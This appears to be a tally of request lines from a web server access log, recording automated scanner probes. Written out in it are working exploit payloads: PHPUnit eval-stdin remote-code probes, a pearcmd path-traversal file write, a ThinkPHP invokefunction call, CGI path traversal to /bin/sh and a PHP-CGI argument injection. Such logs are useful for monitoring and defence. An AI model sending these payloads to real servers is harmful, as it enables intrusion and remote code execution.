1 GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /bundle.js HTTP/1.1
3 GET /cdn-cgi/trace HTTP/1.1
1 GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /config/.git/config HTTP/1.1
1 GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
5 GET /favicon.ico HTTP/1.1
1 GET /files/ HTTP/1.1
1 GET /form.html HTTP/1.1
1 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1
1 GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php HTTP/1.1
1 GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /password.php HTTP/1.1
1 GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1
1 GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1
3 GET /solr/admin/info/system HTTP/1.1
1 GET /static../.git/config HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
1 GET /systembc/password.php HTTP/1.1
1 GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /upl.php HTTP/1.1
1 GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /webui/ HTTP/1.1
1 GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /wp-content/ HTTP/1.1
1 GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 HEAD / HTTP/1.0
3 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /cgi-bin/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1
3 PRI * HTTP/2.0